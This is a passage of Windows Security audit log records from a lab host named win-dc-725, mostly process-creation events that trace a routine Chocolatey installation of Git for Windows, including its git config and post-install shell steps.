- New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246156 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Program Files\Git\usr\bin\chmod.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x824 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\chmod.exe" 1777 /dev/mqueue - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246155 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x824 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246154 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x55c - New Process Name: C:\Program Files\Git\usr\bin\chmod.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5b0 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\chmod.exe" 1777 /dev/shm - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246153 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b0 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246152 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x890 - New Process Name: C:\Program Files\Git\usr\bin\mkdir.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x528 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\mkdir.exe" -m 755 /dev - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246151 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x528 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246150 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=User Account Management -OpCode=Info -RecordNumber=246149 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - -Process Information: - Process ID: 0xfc8 - Process Name: C:\Program Files\Git\usr\bin\bash.exe -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246148 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246147 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ver - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246146 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246145 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\Git\post-install.bat" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\post-install.log"" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246144 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe30 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe5c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "init.defaultBranch" "master" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246143 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe5c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246142 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "init.defaultBranch" "master" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246141 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d4 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "core.symlinks" "false" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246140 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x36c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.symlinks" "false" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e4 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x628 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "core.fscache" "true" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x660 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x628 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. 